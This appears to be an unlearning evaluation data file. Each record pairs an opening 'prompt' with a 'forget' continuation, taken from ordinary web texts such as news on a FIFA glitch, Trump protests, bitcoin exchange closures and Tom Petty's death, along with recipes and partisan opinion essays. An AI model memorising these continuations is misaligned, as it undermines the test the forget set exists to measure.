{"prompt": "UPDATE 29th June 2016: EA has said it's looking into the FIFA Ultimate Team chemistry glitch that hit the headlines this week. Community manager Rob Hodson took to the FIFA forum to say EA was on the case. Here's the statement: Thanks to the FUT community for raising awareness of a potential fitness and chemistry inconsistency in some FUT items. After hearing this, our teams were in over the weekend and continue to thoroughly investigate the information. We will keep you informed with updates from the investigation. Our commitment to a fun, fair and secure experience in FIFA is ongoing,", "forget": "and as a community your feedback helps us achieve that goal. A special thanks for your continuous efforts across all channels. Wondering what all the fuss is about? The video below provides a useful summary. ORIGINAL STORY 27th June 2016: The FIFA community reckons it's exposed a \"chemistry glitch\" that proves a long-running theory about Ultimate Team handicapping. One FIFA player believes he's proved the chem glitch through the use of a skill move. Users on the FIFA subReddit have picked apart the way the football game works and believe they've proved a troubling glitch that might have been a part of the series for years. A summary: users reckon they've proved FUT includes handicapping - that is, teams comprised of highly-rated players feel sluggish. They reckon FIFA has been buffing low rated teams and nerfing highly rated teams without telling players. Now for the detail: this has to do with chemistry. In FUT, by playing cards in particular positions you can increase your chemistry stats. High chemistry can boost the stats of players. A low chemistry can nerf them. Chemistry is important for FUT because it can give you the edge in a match. Theoretically, anyway. FUT players believe the most expensive cards in the game do not attribute this chemistry-related stat boost properly, and it's this glitch that makes the players feel sluggish in comparison to cheaper cards which do attribute the chemistry stat boost properly. Right, now for the working out. FIFA players believe chemistry does in fact work for day one cards (normal versions of cards), but does not work properly for non-day one cards, even more expensive, better versions of the same day one cards. This is why the belief is that some expensive upgraded cards are actually worse. The FUT community is in uproar"}
{"prompt": "5 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard Growing up, I always wondered how an entire nation could go mad. I was thinking about Nazi Germany, and millions of good, decent Germans, seeming to lose their minds for Hitler and National Socialism and its repressive brutality. I never thought I was see it for myself. It would be a long time, I told myself, before a nation would lose itself again as Germany had in the 30s. Then came the 2008 elections and the Tea Party. It is painful and shocking to witness people you would assume to", "forget": "be as rational as you flip on Fox News and \u2013 as Wayne Campbell and Garth Algar used to say on Wayne\u2019s World \u2013 go \u201cmental.\u201d It turns out people can absolutely believe impossible things and they can be quite fanatical about it. The facts are right there; I can see them plain as day. Why can\u2019t they? Fox News is absolutely part of the problem. Everywhere you go, it\u2019s on. It\u2019s like a national propaganda channel. Joseph G\u00f6bbels would have wet himself at having such power in his hands. People sit in restaurants all across the nation and listen to lie after lie \u2013 all unsubstantiated and invented out of whole cloth \u2013 pass the lips of Fox News commentators. Imagine how much easier would have been Hitler\u2019s job if he had been able to do the same, rather than standing on street corners giving speeches and passing out leaflets. All the Tea Party represents is repackaged fascism. The message is the same: real Americans instead of real Germans and familiar enemies, like Muslims instead of Jews (they share a hatred of gays); out-of-control paranoia and conspiracy theories like stabs in the back and betrayal; the view of women (real American \u2013 aka white women) as breeders of a master race; and a mission from God to restore the nation\u2019s greatness. America for Americans is no different than Hitler\u2019s Germany for Germans. They even have the same overblown sense of nationalism: Deutschland \u00fcber alles and American exceptionalism share a low-brow wavelength. Nor is it a coincidence that both National Socialists and Tea Partiers happen to be white and predominantly male. I really thought I would get through my life time without seeing it for myself. I wish I had, because though it helps me understand how it could happen,"}
{"prompt": "Video (00:49) : After a rally outside the State Capitol, some protesters marched in downtown St. Paul, blocking some traffic. A protest that started with about 100 people at the Minnesota State Capitol grew quickly Wednesday night as it moved first to John Ireland Boulevard then to downtown St. Paul. Protesters, who chanted and carried signs, blocked some downtown streets. Their ranks grew as they marched west on University Avenue, blocking both sides of the street and shouting expletives about Donald Trump in English and Spanish. The group, which peaked at about 300 people, circled back downtown and, at 10:35", "forget": "p.m., were at St. Anthony Avenue and Marion Street, St. Paul police said. Officers were there directing traffic, but not interfering with the protest. There was no violence, police said. The protest was one of several in U.S. cities in the wake of Tuesday\u2019s election of the GOP candidate, notably in Chicago, New York, Los Angeles, Detroit and Portland, Ore. \u201cThis is about what\u2019s going to be done in our name,\u201d said Peter Rachleff, a former Macalester College professor. \u201cWe\u2019re all responsible. We\u2019re better than this.\u201d Bobbie Scott said, \u201cI\u2019m here because I feel I have to be here. Other work will come later, but for now, I\u2019m here.\u201d Gallery: Trump protest at the Minnesota Capitol Gallery: Trump protest at the Minnesota Capitol Callia Blake, 17, and her 15-year-old friend aren\u2019t old enough to vote yet, but came out to protest Trump\u2019s ascension, too. \u201cThis guy, he\u2019s a rapist, he just is awful,\u201d she said. \u201cI can\u2019t take that; I can\u2019t do it.\u201d JoAnn Hendricks, 67, was there with her friend, LaVonne Ellington, 80, who served as a poll watcher on Tuesday. \u201cLaVonne and I didn\u2019t vote for Trump. I\u2019m not a \u2018Trumpladite,\u2019 \u201d Hendricks said. \u201cThat\u2019s why we\u2019re here. We didn\u2019t know what else to do. I\u2019m really sad.\u201d Earlier, at the University of Minnesota in Minneapolis, some students had a shouting match over the election. Students were struggling to digest the results of one of the most bitter presidential elections in memory. \u201cI guess it\u2019s really setting in right now,\u201d said Sam Wondimu, 20, a U health services major who was one of dozens of students gathered around a single laptop at the Black Student Union, watching as President Obama spoke about Trump\u2019s election. \u201cThere\u2019s a considerable amount of sadness,\u201d Wondimu said, and \u201cI guess a bit of"}
{"prompt": "Wednesday\u2019s domestic cup match presents a unique challenge for Ottawa Fury FC, one that the club has not yet faced in 2015: speed, all over the pitch. That is the x-factor that FC Edmonton will bring to the midweek cup fixture tomorrow at TD Place Stadium. While Ottawa has certainly had a positive start to its spring campaign, with four points of a possible nine to start its season, it hasn\u2019t faced teams with the kind of game-breaking speed and athleticism that the Eddies possess. With the likes of Sainey Nyassi and Lance Laing on either flank, Eddies boss Colin", "forget": "Miller is sticking to his tried-and-true method of fielding athletes. Eddie Edward and Kareem Moses offer similar displays of athleticism on the flanks of FCE\u2019s back four, and can pose offensive threats occasionally. When Fury FC and FCE met in the first round of last season\u2019s Amway Canadian Championship, everybody highlighted a strong second leg at home as the key to the Eddies\u2019 victory. Of equal importance, however, was their ability to draw the first leg in Ottawa. Miller was visibly ecstatic after the 0-0 result in last year\u2019s first leg, and will likely be looking to do the same thing tactics-wise on Wednesday. Expect FCE to play defensively, but use the flanks heavily on counters. Young Hanson Boakai may slot into an Eddies lineup he has yet to truly crack in 2015. The 18 year-old\u2019s slicing runs and quick feet gave Ottawa nightmares in last year\u2019s Canadian Championship fixtures. Things are certainly trending in the right direction in Edmonton; Sainey Nyassi picked up NASL Player-of-the-Week honours this past weekend, and the Eddies rallied to defeat the visiting Ft. Lauderdale Strikers 3-2. English midfielder Ritchie Jones has two goals in three games, and appears to have settled into the game on this side of the pond. From a Fury FC perspective, this year\u2019s edition of the Amway Canadian Championship represents a shot at not only redemption from last season\u2019s first round exit, but a chance to earn the respect of potential MLS opponents. FC Edmonton managed to put a scare into the Montreal Impact in last year\u2019s second round, and Marc Dos Santos\u2019 side will be hoping to do the same if they can advance past the Eddies. Romuald Peiser will likely carry the captain\u2019s armband again on Wednesday, as skipper Richie Ryan was ruled out for at least the"}
{"prompt": "This amazing chickpea pattie recipe comes from my Mama (thanks mama!). The recipe is an adaptation of a traditional Punjabi dish made with potatoes called \u201cAloo Tikkis\u201d (meaning potato patties). I try not to eat too many potatoes and so I asked my Mom to make it with chickpeas. She did and it was delicious. \ud83d\ude42 This chickpea pattie recipe is filled with indian spices so get ready for your mouth to explode with spicy amazingness! Ingredients for Chickpea Pattie Recipe 1 cup dried chickpeas, soaked overnight (or 2 cans of 15 ounce chickpeas) 2-3 green onions 1/4 cup chopped", "forget": "fresh cilantro 1/2 tsp coriander powder 1/2 tsp garam masala 1/4 tsp of chat masala, optional 1/4 tsp of chilli powder, optional 1/2 of a fresh green (or red) chilli, optional 1-2 tsp of freshly squeezed lemon juice salt, to taste (I used about 1/2 tsp) 3 tbsp of ground chia + 1/2 cup water 4 cup greens (baby spinach, kale, etc.), optional Directions for Chickpea Pattie Recipe Combine the 3 tbsp of ground chia with the 1/2 cup of water in a bowl and set aside. Wash & cook the chickpeas until they are super soft (you will have to mash them by hand, so the softer they are the easier it will be for you). Once the chickpeas are cooked, drain any excess water and set aside. Grease a baking sheet and preheat oven to 400. Chop the green onion, fresh cilantro and greens, if using, and set aside. Now it\u2019s time to use your mom arms, yoga arms or if you are like me, your slightly weakling arms. \ud83d\ude42 With a potato masher (or fork if you don\u2019t have a masher), mash the chickpeas. You want to mash them just until you can\u2019t see any more whole chickpeas. You still want them to keep their form. You don\u2019t want to use a food processor because they will get too soft and won\u2019t form properly into patties. Add all of the spices and the chia mixture to the chickpeas and mix with a spoon until everything is nicely combined. Using a 1/3 measuring cup, scoop up the chickpea mixture and place onto your greased baking sheet. Use your fingers to flatten your patties until they are about 2-3 inches thick. Bake at 400 for about 30-40 minutes, flipping them mid-way through. Enjoy them in your salad, in your"}
{"prompt": "Beijing Sets Deadlines for Bitcoin Exchanges - Customers to Withdraw Funds Quickly Beijing has ordered all affected bitcoin exchanges to post a notice of their closure by midnight on Friday. Now, the exchanges are urging customers to withdraw their funds as regulators have also set a deadline for them to come up with plans to allow withdrawals \u201cin a risk-free manner.\u201d Also read: China\u2019s Regulatory Crackdown Forces More Bitcoin Exchange Closures Exchanges Ordered to Announce Closing Dates Chinese authorities have ordered Beijing-based cryptocurrency exchanges to stop trading and allowing new registrations as of Friday, according to a government notice, which", "forget": "was verified by Reuters. \u201cThe notice was signed by the Beijing city group in charge of overseeing internet finance risks and circulated online.\u201d The notice read: All trading exchanges must by midnight of Sept. 15 publish a notice to make clear when they will stop all cryptocurrency trading and announce a stop to new user registrations. China\u2019s top bitcoin exchanges have already complied. Btcc announced that \u201cBtcchina will completely shut down its exchange businesses on September 30th,\u201d the company tweeted. However, the only businesses affected are those relating to Btcchina; other Btcc businesses are unaffected as \u201cBtcc is a separate company from Btcchina,\u201d the company noted, adding that \u201cBtcc Pool, Btcc USD Exchange, Btcc Dax, Btcc Mobi, & Btcc Mint are not affected by this change.\u201d Huobi and Okcoin made similar announcements on Friday, stating that they are closing on October 31. Huobi announced that new user registration and CNY deposit service have already stopped, stating that: The actual closing of CNY trading will take place on October 31st. We will close all CNY to cryptocurrencies trading one asset at a time. Okcoin similarly posted a notice on Friday, outlining its closing policies. The company emphasized that the only service closing is the RMB trading business. The rest of its businesses are not affected. \u201cBecause regulators have not announced that bitcoin and digital assets are illegal, Okcoin will actively explore, strive for, expect to continue to provide Chinese users with compliant digital asset services,\u201d the company wrote. Many others have also announced their closure such as Viabtc and Yobtc. Another exchange C2CX announced that it will close on September 30. Customers Urged to Withdraw Funds Quickly The regulators have additionally instructed the exchanges to come up with plans of how customers can withdraw their funds, Reuters reported. \u201cPlatforms should also"}
{"prompt": "In 2008, I thought John McCain deserved to lose, but this did not mean I believed Barack Obama deserved to win. What McCain represented was four more years of George W. Bush-style \"conservatism,\" and that meant an increase in the size of government and more spending. Voters rightly saw McCain as an extension of Bush and rejected his brand of Republicanism. In 2012, I believe Barack Obama deserves to lose. Everything I detested about Bush, Obama has expanded upon. Today, the debt is even larger, the federal government is even bigger, the executive branch is even more powerful, and both", "forget": "the entitlement and \"national security\" states have grown. Despite having an edge in the polls, Obama's actual approval rating is not high. Many, perhaps a majority, of Americans would like to reject Obama. However, they are just not sure Mitt Romney deserves to win. I share their concerns. In their first debate, Romney kicked Obama's ass. This is not debatable. After all, when liberals like MSNBC's Chris Matthews are angrily frothing at the mouth over Obama's lackluster showing, the winner is clear. The winner of a debate is generally the person who sounded better, looked better, spoke with more authority, and commanded more respect. In essence, the winner is the candidate who comes across as more presidential. And that was Romney. But there was one thing that Romney and his winning personality promised on Wednesday night that the hard numbers indicate he cannot deliver: he cannot reduce the deficit with his plan. If Obama said anything that was true, it was this: \"When you add up all the loopholes and deductions that upper-income individuals are currently taking advantage of, you don't come close to paying for $5 trillion in tax cuts and $2 trillion in additional military spending.\" He later added, \"It's math, arithmetic.\" Romney protested that he was not asking for $5 trillion in tax cuts \u2014 which I think is too bad. And in the governor's defense, Obama's relentless rhetoric about \"loopholes\" and \"deductions\" for \"upper-income individuals\" could be true \u2014 or it could be the same, tired, class warfare drivel the Democrats have been peddling for as long as I've been alive. But that \"$2 trillion in additional military spending\" is something Romney did not even attempt to protest. For me, whatever hope I had that Romney would be a dramatic improvement over Obama was not dashed"}
{"prompt": "It\u2019s a glaring misuse of our legal system against Dr. Marion \u201cMollie\u201d Fry and her husband, civil attorney Dale Schafer. After more than half a decade of litigation and three years of appeals, the couple have been given until May 2 to turn themselves in to authorities to serve five years in a federal prison. It started when the police raided their Sacramento home in 2001, finding 34 plants. Well below the 90-plant limit established by the local city ordinance for cardholders such as themselves, the couple thought they were on safe legal ground. Dr. Fry, having gone through a", "forget": "radical mastectomy, decided to grow her own cannabis to offset the many complications she was experiencing from chemotherapy. Schafer suffers from hemophilia and a wrenched back, and is under constant care. He has also chosen to treat himself with medical marijuana. \u200bFry and Schafer also grew for patients of Dr. Fry\u2019s, who also sought the relief provided by cannabis. The couple never grew more than 44 plants at one time. Trying to be transparent and forthright during this time, they tried to enlist the aid of local officials, California Attorney General Bill Lockyer, and the Eldorado Sheriff\u2019s Department, to show the local law enforcement community the positive aspects of their endeavors and of medical marijuana. This was all well and good, but in the process, their staff was charging TEN WHOLE AMERICAN DOLLARS for the delivery fee. The couple was raided again. \u201cWe fired anyone who wasn\u2019t following the code of the law,\u201d Schafer said. \u201cWe weren\u2019t selling the medical cannabis to my patients,\u201d Dr. Fry said. \u201cWe had staff and were charging $10 for delivery only, and that\u2019s a common practice today.\u201d Then the absurdity of their trial kicked in. \u201cThe judge wouldn\u2019t allow any medical evidence. They wouldn\u2019t let us tell the jury I was sick, or that I was a doctor,\u201d Fry said. \u201cThey wouldn\u2019t allow that I was helping sick patients. \u201cIronically, two years before the raid, local authorities asked me to tell them who of my patients were \u2018really\u2019 sick, and who wasn\u2019t. I told them it wasn\u2019t my job to police my patients, and when I was in the thick of helping people, I knew it was the right thing to do,\u201d she said. \u201cCannabis helped me immensely when I was going through cancer.\u201d \u200bDr. Fry is a product of seven generations of doctors"}
{"prompt": "Summary As circuits and electronic components become more complex, visual circuit building tools are more difficult to use effectively. If you wish that you could just write your circuits in Python then you\u2019re in luck! Dave Vandenbout created a library called SKIDL that brings the power and flexibility of Python to the realm of Electrical Engineering and he tells us all about it in this weeks show. Do you want to try out some of the tools and applications that you heard about on Podcast.__init__? Do you have a side project that you want to share with the world? Check", "forget": "out Linode at linode.com/podcastinit or use the code podcastinit2018 and get a $20 credit to try out their fast and reliable Linux virtual servers. They\u2019ve got lightning fast networking and SSD servers with plenty of power and storage to run whatever you want to experiment on. Preamble Hello and welcome to Podcast.__init__, the podcast about Python and the people who make it great. I would like to thank everyone who has donated to the show. Your contributions help us make the show sustainable. When you\u2019re ready to launch your next project you\u2019ll need somewhere to deploy it. Check out Linode at linode.com/podcastinit and get a $20 credit to try out their fast and reliable Linux virtual servers for running your awesome app. Visit our site to subscribe to our show, sign up for our newsletter, read the show notes, and get in touch. To help other people find the show you can leave a review on iTunes, or Google Play Music, and tell your friends and co-workers Join our community! Visit discourse.pythonpodcast.com for your opportunity to find out about upcoming guests, suggest questions, and propose show ideas. Your host as usual is Tobias Macey and today I\u2019m interviewing Dave Vandenbout about SKIDL, a library for designing and validating circuit layouts. Interview Introductions How did you get introduced to Python? Can you describe what SKIDL is and the problem that you were trying to solve when you first started it? Most of my experience designing circuits has been done using a graphical tool. If you are using Python for the entire layout does it become difficult to understand the overall circuit without the visual representation? Is there a way to generate a circuit diagram from the SKIDL code for a visual reference? It seems that there is a substantial amount of"}
{"prompt": "The Foreign Affairs Department is advising Canadians to avoid travel to South Sudan. In an advisory issued late Monday night, Foreign Affairs also urged any Canadians still in the war-torn nation to get out as soon as possible. Earlier Monday, civilian helicopters evacuated U.S. citizens from Bor, which has seen bouts of heavy machine-gun fire, but 3,000 citizens from countries including Canada, Britain and Kenya remain trapped there, a top UN official said Monday. Toby Lanzer, the UN's humanitarian co-ordinator, said Australians, Ugandans and Ethiopians are also among 15,000 total people seeking protection at a UN base in Bor, a", "forget": "city that could see increasing violence in coming days. The death toll from a week of violence in South Sudan has likely surpassed 1,000 people, though there are no firm numbers available, he said. The number of internal refugees has likely surpassed 100,000, said Lanzer, who is seeking urgent financial assistance from the international community. \"I can't afford any delays from donor capitals right now,\" he told The Associated Press in a phone call. \"Never has there been a greater time of need in South Sudan.\" Secretary General Ban Ki-moon is urging the UN Security Council to add 5,500 troops and police to the 7,000-strong UN peacekeeping mission in conflict-wracked South Sudan. Ban proposed in a letter to the council obtained Monday by The Associated Press that the troops be transferred from UN missions in Congo, Darfur, Abyei, Ivory Coast and Liberia along with three attack helicopters, three utility helicopters and a C-130 military transport plane. France's UN Ambassador Gerard Araud, the current council president, said he expects the council to vote Tuesday on a resolution authorizing the transfers. Bor is the city where rebel forces fired on three U.S. military aircraft on Saturday, forcing the Ospreys \u2014 advanced helicopter-airplane hybrids \u2014 to abort their evacuation mission. On Sunday the U.S. evacuated Americans by civilian U.S. and UN helicopters. The U.S. over the last week has evacuated 380 Americans and 300 others from South Sudan, which has seen vicious, ethnically targeted violence pulse through the nation. Military commanders loyal to the country's ousted vice-president have defected and say they are now in control of regions that hold lucrative oil fields. Lanzer, who spent the weekend in Bor, said the city is experiencing tense, sporadic clashes and \"fairly consistent gunfire and heavy machine-gun fire.\" Canada's Department of Foreign Affairs says about"}
{"prompt": "WARNING: Disturbing images are contained in this story Last week, the Ontario SPCA (OSPCA) announced charges against the owner of Hidden Meadow Farm, the kennel that provides dog sledding and trail rides at Deerhurst Resort. In the release, they said, \u201cOn June 8, 2016, the Ontario SPCA received calls concerning care of animals in a kennel. Ontario SPCA officers attended and found 42 Alaskan Husky and Malamute-type sled dogs at the location. A veterinarian examination revealed large, open wounds that had been left untreated for days; numerous older, healed, partially healed and infected wounds; limping with an obviously swollen, painful", "forget": "leg; fever; and broken, infected teeth.\u201d The subsequent charges were: Permitting an animal to be in distress Failing to provide adequate and appropriate medical attention Failing to provide the care necessary for an animal\u2019s general welfare Failing to confine an animal to a pen or other enclosed structure or area that must not contain one or more other animals that may pose a danger to the animal Prior to the incident, there had allegedly been a fight between four dogs resulting in injuries to two and the death of a third. The kennel\u2019s owner, Shani Ride, says the injured dogs \u201cwere in isolated kennels, they were on penicillin and they were getting their wounds cleaned twice a day. I have nothing against the SPCA. They were doing their job. When they come out to a call, they have to check everything. They walked around and looked at the rest of the dogs and found two more.\u201d The OSPCA told Ride that the four dogs had to have veterinary care, but she refused. \u201cI said, \u2018I\u2019m not going to do that, I\u2019m already treating them and I feel my treatment was fine. I\u2019ve dealt with these injuries before. Taking all four of those dogs to the vet was going to cost me in the thousands of dollars. Unfortunately, I love these animals but this is a business. I said if you feel my care isn\u2019t proper for them, I will have them euthanized. Businesswise, it doesn\u2019t make sense for me to put thousands of dollars into these dogs when the unfortunate reality is that a new sled dog would cost me $200.\u201d OSPCA officers gave Ride the option of surrendering the dogs instead, which she did. Of the two injured dogs, one, Teddy, was taken immediately and had a four-hour surgery."}
{"prompt": "Amazon To Hachette And Authors: Here, Let Us Explain Basic Price Elasticity To You from the lower-price,-make-more-money-dimwits dept A key objective is lower e-book prices. Many e-books are being released at $14.99 and even $19.99. That is unjustifiably high for an e-book. With an e-book, there's no printing, no over-printing, no need to forecast, no returns, no lost sales due to out-of-stock, no warehousing costs, no transportation costs, and there is no secondary market -- e-books cannot be resold as used books. E-books can be and should be less expensive. It's also important to understand that e-books are highly price-elastic.", "forget": "This means that when the price goes up, customers buy much less. We've quantified the price elasticity of e-books from repeated measurements across many titles. For every copy an e-book would sell at $14.99, it would sell 1.74 copies if priced at $9.99. So, for example, if customers would buy 100,000 copies of a particular e-book at $14.99, then customers would buy 174,000 copies of that same e-book at $9.99. Total revenue at $14.99 would be $1,499,000. Total revenue at $9.99 is $1,738,000. The important thing to note here is that at the lower price, total revenue increases 16%. This is good for all the parties involved: The customer is paying 33% less. The author is getting a royalty check 16% larger and being read by an audience that's 74% larger. And that 74% increase in copies sold makes it much more likely that the title will make it onto the national bestseller lists. (Any author who's trying to get on one of the national bestseller lists should insist to their publisher that their e-book be priced at $9.99 or lower.) Likewise, the higher total revenue generated at $9.99 is also good for the publisher and the retailer. At $9.99, even though the customer is paying less, the total pie is bigger and there is more to share amongst the parties. Keep in mind that books don't just compete against books. Books compete against mobile games, television, movies, Facebook, blogs, free news sites and more. If we want a healthy reading culture, we have to work hard to be sure books actually are competitive against these other media types, and a big part of that is working hard to make books less expensive. So, at $9.99, the total pie is bigger - how does Amazon propose to share that revenue"}
{"prompt": "The rock icon was 66 Tom Petty\u2018s death has been confirmed. The US rock icon suffered a cardiac arrest. He was 66. Check out the star-studded tributes to the icon below. After suffering a cardiac arrest, rumours of the rock icon\u2019s passing spread yesterday. Now, his death has been confirmed by Tony Dimitriades, longtime manager of Tom Petty & The Heartbreakers. Dimitriades confirmed Petty\u2019s death on behalf of the performer\u2019s family. Petty formed The Heartbreakers in 1976, and their self-titled debut album was released the same year. It featured Petty\u2019s classic song \u2018American Girl\u2019. Petty\u2019s breakthrough came with his band\u2019s", "forget": "third album \u2018Damn the Torpedoes\u2019 in 1979. Tom Petty and the Heartbreakers last released an album in 2014 in the form of 13th LP \u2018Hypnotic Eye\u2019. As well as his career with the Heartbreakers, Petty also co-founded supergroup the Traveling Wilburys with Bob Dylan, George Harrison, Jeff Lynne and Roy Orbison. The news of Petty\u2019s death comes following initial confusion and contradicting reports about Petty\u2019s condition. TMZ were the first outlet to report that Petty was rushed to UCLA Santa Monica Hospital on Sunday night (October 1) after being found unconscious, \u201cnot breathing and in full cardiac arrest\u201d at his home in Malibu, California. The report added that Petty had been put on life support and his condition was thought to be \u201ccritical\u201d. Sharethrough (Mobile) However, the website later reported that \u201cafter Petty got to the hospital he had no brain activity and a decision was made to pull life support\u201d. They later issued an update that described previous reports of Petty\u2019s death as \u201cinaccurate\u201d, adding that the musician was \u201cstill clinging to life\u201d but \u201cnot expected to live throughout the day\u201c. CBS News had also reported confirmation of Petty\u2019s death, citing a statement from the Los Angeles Police Department. The LAPD was later forced to release a statement saying that it had \u201cno information about the passing of singer Tom Petty\u201d and that \u201cinitial information was inadvertently provided to some media sources\u201d. CBS then retracted their original story. Petty recently concluded a 40th anniversary tour with his band The Heartbreakers. The final date took place at the Hollywood Bowl in Los Angeles on September 22. The music world pays tribute Tributes have been pouring in following the news of Petty\u2019s death. Bob Dylan has issued a statement and you can see more tributes below. Nothing left to say A"}
{"prompt": "Gear Flashback: Our Flat Cat Gear Bobcat Titanium Stove System When we were preparing for our PCT thru hike in the spring of 2012, we were looking for an alcohol stove that would give us great performance and utility while still being packable and durable. We experimented with several homemade options including the well known Fancy Feast/tuna can stove that is popular with a lot of thru hikers because of its size and weight. We decided to go with a Bobcat titanium stove system purchased online from Flat Cat Gear. We initially purchased the stove because of the complete system", "forget": "approach: We knew it would integrate perfectly with our 1.3 liter Evernew Pot and that the screen, stove, and all other accessories would nest neatly inside the pot. We also purchased and tested out a Trail Designs Caldera Cone stove, but really liked the packability of our Flat Cat and found it to be equally efficient. The Caldera we looked at had to be stowed in its separate plastic container/caddy which was a deal-breaker for us because we like our cooking system to be one unit including the pot. The Flat Cat pulls this off beautifully. After 5 months of daily use on the PCT (we typically only cooked dinners) and a week-long test hike in the Smoky Mountains, we\u2019re still sold on the stove. One add-on piece that we did not initially see ourselves using that much was the simmer ring. We had some snap trouble with the windscreen and Jon, the Flat Cat gear guru, gave us a simmer ring to try while working out the windscreen issues. The ring really helped us with rice and pasta meals and made the titanium stove run about triple as long on the same amount of fuel. The minimal weight gain of the simmer ring paid off dividends as we could adjust from \u201cfull boil\u201d mode and dial back the intensity of the stove for other dishes. Overall, the Bobcat system did an admirable job coping with the rigors of an extended trip (156 consecutive days). The stove itself is really a work of art and this lends to its durability as it is one solid piece of metal. Although the stove and screen could have easily held up inside a small storage sack or loose in our packs, we liked how it nested in our pot and it shared the"}
{"prompt": "Hey everybody! Welcome to Clix O\u2019Clock, a new weekly feature here on We the Nerdy! Assistant Editor Henry has been playing Heroclix for a very long time and wants to spread his love of the game with everybody who\u2019ll listen! This week he talks about the constant obsession people have over the War of Light Entities, and why he is perfectly okay if he never has one in his clutches again (Other than to trade it away for some sweet Clix swag!) So this weekend my school ran a small convention where we hosted a Heroclix event. We were very", "forget": "fortunate that we were able to play with some War of Light boosters and play a miniature Month 4 event. A friend of mine, newer to Heroclix, was able to buy his first War of Light boosters and pulled Proselyte. I was really happy for him and tried to hold back my secret envy, since Proselyte has a great value on the secondary market. But I got over this quickly and realized something. I really don\u2019t care about the Entities anymore. I\u2019ll admit that there is a part of me that does want the entities, but for a much simpler purpose than most. I just like the idea of adding people to certain theme teams. How fun would it be to make Superman a Blue Lantern with Adara, or for the Joker to be inducted via the Butcher into the Red Lantern Corps? But apparently, most people seem excited by them because they have the potential to be so deadly via the possession trait. For a mere 25 points, you can make any piece objectively more awesome, something that anybody can get behind. People quickly gravitated towards this incredible mechanic, and the prices of the already rare pieces (1 per case) skyrocketed. Here\u2019s the thing. Paying upwards of $100.00 for a Heroclix is kind of insane for me. I\u2019ll admit that I\u2019ve bought expensive pieces in the $70.00 range, but those are few and far between. Entities have been heralded as game-breaking pieces that can ruin the spirit of Heroclix. They\u2019re not.I was lucky during my Month 3 Event and I pulled Ion, the Green Lantern Entity. I used him, equipping him to my Black Lantern John Stewart (Which I later realized wasn\u2019t necessary), and went to town on opponents. But when the event was over, and I had won"}
{"prompt": "I bought a Christmas CD yesterday. It was the first CD I\u2019ve purchased in legit 3 years. Of course it is filled with Christmas tunes from one of my favourite guilty pleasure TV shows, Nashville. With only a few weeks left until the holidays, I figured I should get into the spirit. Also, the most recent Christmas CD I had was Justin Bieber\u2019s, so it was definitely time for an update. As I\u2019ve mentioned before on this blog, I love when we receive recipe requests. Especially for Ukrainian dishes. A few months ago, we posted Ukrainian Cabbage Buns and they", "forget": "were a huge hit. Ever since that post, we have received a ton of emails and comments asking for a meat-filled version. Well friends, here it is. The ultimate recipe for Ukrainian beef-filled buns, or \u2018Pyrizhky\u2019. I would also like to note that because there are so many different crossovers in food and culture between Ukraine, Poland and Russia, that these may be called by a different name depending on where you are from/grew up. In Russia and other places, these are sometimes referred to as \u2018Pirozhki\u2018 or \u2018Piroshki\u2019. Regardless, they are beef-filled baked buns that are beyond amazing. The dough is flaky, buttery and soft. Perfect little bite-sized pieces of heaven if you ask me. You can definitely make your own fillings as well to go with this dough recipe. You can incorporate mushrooms, ground pork, mashed potato\u2026the options are endless. Not to mention, this recipe is super easy to make. You will need: 1 cup full fat sour cream 2 egg yolks 2 cup all purpose flour 1/2 cup butter, melted 1/2 tsp. white sugar 1 lb. extra lean ground beef 1 white onion, finely diced 1-2 tbsp vegetable oil Salt and pepper to taste 2 egg whites In a medium bowl, mix together your egg yolks and sour cream. Add in your melted butter. Then add your flour. Finally, add your sugar. Mix together until all ingredients are incorporated. Place dough onto counter and knead into a ball. Knead with hands until the dough is soft and elastic, about 3-5 minutes. Place dough in an airtight container and refrigerate for 8 hours or overnight. Heat vegetable oil in a large skillet over medium-high heat. Add your ground beef , chopped onion, salt and pepper. Cook meat until browned and onions are soft and translucent. Set aside to"}
{"prompt": "Hundreds of students crowd Sanders Theatre for the first meeting of CS 50: \u201cIntroduction to Computer Science I.\u201d UPDATED: September 11, 2014, at 9:45 p.m. Nearly 12 percent of Harvard College is enrolled in a single course, according to data released by the Faculty of Arts and Sciences Registrar\u2019s Office on Wednesday. The course, Computer Science 50: \u201cIntroduction to Computer Science I,\u201d attracted a record-breaking 818 undergraduates this semester, marking the largest number in the course\u2019s 30-year history and the largest class offered at the College in the last five years, according to the Registrar\u2019s website. Including non-College students, the", "forget": "enrollment number totals 875. Last fall, about 700 students enrolled in the course, placing it second only to Economics 10a: \u201cPrinciples of Economics,\u201d which drew 764 students. This fall, Economics 10a is the second largest course, enrolling 711 total students. Advertisement CS50 instructor, David J. Malan \u201999, and other computer science professors said that the boost in enrollment stems from increasing Harvard-wide and nation-wide interest in computer science. \u201cHarvard students are smart people,\u201d said Harry R. Lewis \u201968, former dean of the College and current director of undergraduate studies for Computer Science. \u201cThey have figured out that in pretty much every area of study, computational methods and computational thinking are going to be important to the future.\u201d Lewis postulated that his course this semester, Computer Science 121: \u201cIntroduction to the Theory of Computation,\u201d enrolled more students than it ever had before: 153. The number of Computer Science concentrators at the College has increased each year for the past five years, from 86 in 2008 to 153 in 2013. Malan also said that \u201cit is possible\u201d that the decision to exempt CS50 from the new restrictions on enrollment in courses occurring at the same time helped bolster its enrollment numbers. Last month, Dean of Undergraduate Education Jay M. Harris sent an email to course instructors notifying them of tighter controls on simultaneous enrollment for all courses except CS50. Malan said that simultaneous enrollment data will not be available until he surveys his students later this week, but that the course typically attracts around 100 students who enroll in another course that meets at an overlapping time. Computer Science associate professor Eddie Kohler said CS50\u2019s increasing popularity also speaks to the structure and accessibility of the course. \u201cIt\u2019s an experience, it\u2019s not even a course exactly,\u201d Kohler said. \u201cThat\u2019s part of what"}
